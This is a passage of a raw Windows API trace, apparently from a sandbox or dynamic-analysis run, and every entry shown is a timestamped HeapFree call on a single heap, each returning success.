hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.423] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.775] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.775] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.782] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.784] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.784] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.787] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.787] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.790] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0196.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.944] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0196.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.963] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0196.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0196.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.964] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.965] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.965] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.965] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0196.967] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.967] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.968] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.970] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.979] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.979] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.979] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.982] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.168] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.169] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.169] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.171] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.171] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.171] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.174] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.179] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.179] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.182] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.182] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.182] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.184] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.185] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.185] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.185] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0197.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.260] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.260] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0197.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0197.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0197.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0197.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.367] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.367] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.479] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.489] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.489] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.489] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.489] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, 